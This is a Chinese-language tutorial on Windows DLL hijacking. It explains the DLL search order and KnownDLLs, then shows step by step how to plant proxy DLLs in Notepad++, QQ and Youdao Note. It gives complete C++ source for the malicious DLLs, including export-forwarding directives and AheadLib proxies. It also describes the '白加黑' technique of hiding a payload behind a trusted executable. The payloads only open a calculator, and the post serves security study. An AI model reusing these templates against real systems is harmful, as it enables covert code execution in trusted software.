DLL劫持思路和研究
基礎知識
DLL(Dynamic Link Library)文件為動態鏈接庫文件,又稱“應用程序拓展”,是軟件文件類型。在Windows中,許多應用程序并不是一個完整的可執行文件,它們被分割成一些相對獨立的動態鏈接庫,即DLL文件。
在windows平臺下,很多應用程序的很多功能是相似的,拋去ui等等來說,大致的功能都差不多,比如都得調用窗口,都得調用內存管理的模塊來分配內存,都得調用io模塊去進行文件操作,讀寫文件等等,這些模塊的具體表現就是DLL文件。
Windows操作系統通過“DLL路徑搜索目錄順序”和“Know DLLs注冊表項”的機制來確定應用程序所要調用的DLL的路徑,之后,應用程序就將DLL載入了自己的內存空間,執行相應的函數功能。
DLL路徑搜索目錄順序
1.程序所在目錄
2.程序加載目錄(SetCurrentDirectory)
3.系統目錄即 SYSTEM32 目錄
4.16位系統目錄即 SYSTEM 目錄
5.Windows目錄
6.PATH環境變量中列出的目錄
Know DLLs注冊表項
Know DLLs注冊表項里的DLL列表在應用程序運行后就已經加入到了內核空間中,多個進程公用這些模塊,必須具有非常高的權限才能修改。
Know DLLs注冊表項的路徑為HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs
手動劫持
劫持應用中沒有的dll
這里dll劫持的選用的是notepad++,注意版本問題,我第一次進行dll劫持的時候使用的是最新版本,導致我鼓搗半天都沒能正確執行,搞得我一臉懵逼,百度之后才發現notepad后面的版本修復了漏洞,所以這里選的是6.6.6的版本

使用到Procmon.exe程序

這里打開過后設置幾個過濾條件,分別是進程名、路徑以及結果

然后這里找一個需要用到loadlibrary這個api的dll,這里找有這個api的原因是因為如果該dll的調用棧中存在有 **LoadLibrary(Ex)**,說明這個DLL是被進程所動態加載的。在這種利用場景下,偽造的DLL文件不需要存在任何導出函數即可被成功加載,即使加載后進程內部出錯,也是在DLL被成功加載之后的事情。

LoadLibrary和LoadLibraryEx一個是本地加載,一個是遠程加載,如果DLL不在調用的同一目錄下,就可以使用LoadLibrary(L"DLL絕對路徑")加載。但是如果DLL內部又調用一個DLL,就需要使用LoadLibraryEx進行遠程加載,語法如下
LoadLibraryEx(“DLL絕對路徑”, NULL, LOAD_WITH_ALTERED_SEARCH_PATH);
LoadLibraryEx的最后一個參數設置為LOAD_WITH_ALTERED_SEARCH_PATH即可讓系統dll搜索順序從我們設置的目錄開始

這里使用vs2019編譯一個dll

這里使用到庫調用system()生成彈出一個計算器即可

編譯并復制到Notepad++的根目錄下


運行即可彈出計算器

劫持應用中存在的dll
這里改個條件,改為SUCCESS

雙擊SciLexer.dll 然后看下stack,可以發現同樣存在loadlibrary。那就說明這個dll是動態加載的,并且不需要什么導出函數就可以成功被加載。并且是在程序在運行過程中完成的

這時候我們就需要找這個dll的導出函數,導出函數是可以被外部訪問的。導出表包含 DLL 導出到其他可執行文件的每個函數的名稱,這些函數是 DLL 中的入口點;只有導出表中的導出函數可由其他可執行文件訪問。DLL 中的任何其他函數都是 DLL 私有的。
在動態調用的時候,一般代碼通過loadlibrary去加載dll 并作為參數傳到到導出函數,這里看一下導入表,發現他這里有一個導出函數

編寫dll時,有個重要的問題需要解決,那就是函數重命名——Name-Mangling。C++的編譯器通常會對函數名和變量名進行改編,這在鏈接的時候會出現一個嚴重的問題,假如dll是C++寫的,可執行文件是C寫的。在構建dll的時候,編譯器會對函數名進行改編,但是在構建可執行文件的時候,編譯器不會對函數名進行改。這個時候當鏈接器試圖鏈接可執行文件的時候,會發現可執行文件引用了一個不存在的符號并報錯,這里我就直接定義extern "C"來告訴編譯器不對變量名和函數名進行改編即可
代碼如下,我們的目的就是讓程序本身去LoadLibrary去加載dll
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
system("calc.exe");
}
生成dll并改名為SciLexer.dll,把原來的dll先放到桌面保存

然后運行一下發現報錯了

這里也沒有彈出計算器,這里就卡了很久,然后發現這里還可以用一種dll轉發的方式
dll轉發顧名思義,就是要保留原來的dll,再生成一個惡意的dll執行代碼,代碼如下
// dllmain.cpp : 定義 DLL 應用程序的入口點。
# include "pch.h"
# include
extern "C" __declspec(dllexport) void Scintilla_DirectFunction();
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
system("calc");
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
void Scintilla_DirectFunction()
{
HINSTANCE hDll = LoadLibrary(L"SciLexer_re.dll");
if (hDll)
{
//typedef 是定義了一個新的類型
//DWORD是雙字類型 4個字節,API函數中有很多參數和返回值是DWORD
//定義了類型EXPFUNC,并且返回類型是DWORD的函數的指針
typedef DWORD(WINAPI* EXPFUNC)();
EXPFUNC expFunc = NULL;
expFunc = (EXPFUNC)GetProcAddress(hDll, "Scintilla_DirectFunction");
if (expFunc)
{
expFunc();
}
}
return;
}
然后把原dll改名為SciLexer_re.dll,并將生成的惡意dll改名為SciLexer.dll

運行notepad++即可

轉發對主程序的依賴非常的高,報錯是CreateWindowsEx()返回值為空報錯,當使用轉發,讓程序先走惡意的dll(SciLexer.dll),再走正常的dll的時候(SciLexer_re.dll),我們不清楚主程序的需求是什么可能是一個返回值,也可能參數不正確,這個時候都會導致主程序運行出錯。
使用工具劫持
直接轉發
這里還是使用導入表進行劫持,首先用cff(下載地址:https://ntcore.com/files/CFF_Explorer.zip)打開QQ.exe的導入表,找一個不在`HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs路徑里面的dll進行劫持,因為在這個路徑里面的dll是優先加載的,加載之后已經進入內核空間,想要劫持難度很大。這里我選擇的是libuv.dll`進行劫持

找到路徑下的libuv.dll

然后使用到aheadlib這個工具,輸入dll就填QQ.exe路徑下的libuv.dll,輸出CPP會自動生成,原始DLL的名稱要記住,等下會替換

點擊生成就會在目錄下生成一個.cpp文件

打開看一下有一個入口函數

新建一個vs dll項目,然后將.cpp的代碼復制進去,并加上和頭文件

然后在入口函數的地方填上一個彈出計算器的語句

將原dll文件改名為之前在軟件里面復制的名字libuvOrg.dll,并把我們生成的dll文件復制進去

點擊QQ.exe即可彈出calc.exe

這里分析一下導出函數的代碼,隨便選一行

當程序想要調用程序中的uv_udp_open函數的時候,需要先LoadLibrary,即通過libuvOrg.uv_udp_open,@195去加載原始dll,那么libuvOrg.dll其實已經被轉發
#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")#pragma comment(linker, "/EXPORT:uv_udp_open=libuvOrg.uv_udp_open,@195")
即時調用
還是劫持之前的dll:libuv.dll,這里還是先輸入DLL,然后轉發的地方改為即時調用

生成一個vs dll項目,把生成的libuv.cpp代碼copy到項目里面,然后加上#include "pch.h"和#include

在入口函數的地方添加上我們的惡意代碼

然后把原dll改名為libuvOrg.dll,再把我們編譯生成的dll粘貼進去

點擊QQ.exe即可完成劫持

這里繼續看看代碼,調用導出函數之前先執行入口函數,函數執行完成過后return到Load函數,這里跟過去看看

Load函數首先把libuvOrg.dll即原來的dll文件寫入緩沖區,使用LoadLibrary展開后通過wsprintf與原dll進行判斷,如果LoadLibrary成功則繼續調用InitializeAddresses()函數,繼續跟過去看看

這里可以發現InitializeAddresses這個函數的作用都是調用GetAddress去Load函數的地址


再看看導出函數

程序要調用uv_async_init這個函數,就可以直接獲取原始dll中uv_async_init函數的地址
#pragma comment(linker, "/EXPORT:uv_async_init=_AheadLib_uv_async_init,@2")
直接用__asm jmp到原始dll的導出函數地址去完成功能即可

對比之前用直接轉發出來的cpp,對比之前用直接轉發出來的cpp,直接轉發對主程序來說,其實就是調用了原來dll的某個函數。
但是即時調用實際上是調用了劫持dll的某個函數,只不過那個函數會jmp到原本的dll中的相應函數的地址。達到的效果相同,但是實現的原理不同。
白加黑
白加黑,就是一個白exe,加上一個黑代碼,這里的黑可以是shellcode,也可以是dll。這里主要是嘗試一下之前判斷的工具的流程,使用導出函數
這里找一個不在Know DLLs里面的dll,而且這個dll必須要用LoadLibrary進行加載,這里我找的是CrashRpt.dll,可以看到有4個導出函數

那么這里用vs新建一個dll,把這4個導出函數由我們自己來寫,這里嘗試不轉發即時調用,如果不成功在嘗試轉發

完整代碼如下
// dllmain.cpp : 定義 DLL 應用程序的入口點。
#include "pch.h"
#include
#include
extern "C" __declspec(dllexport) void RptCleanup();
extern "C" __declspec(dllexport) void RptSetAdditionalInfo();
extern "C" __declspec(dllexport) void RptNcThreadListAddCurrent();
extern "C" __declspec(dllexport) void RptInitializeWithDefaultSettingsWithVersion();
void RptCleanup()
{
system("calc");
}
void RptSetAdditionalInfo()
{
}
void RptNcThreadListAddCurrent()
{
}
void RptInitializeWithDefaultSettingsWithVersion()
{
}
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
然后生成dll把原來的CrashRpt替換掉

啟動有道云即可成功彈出計算器
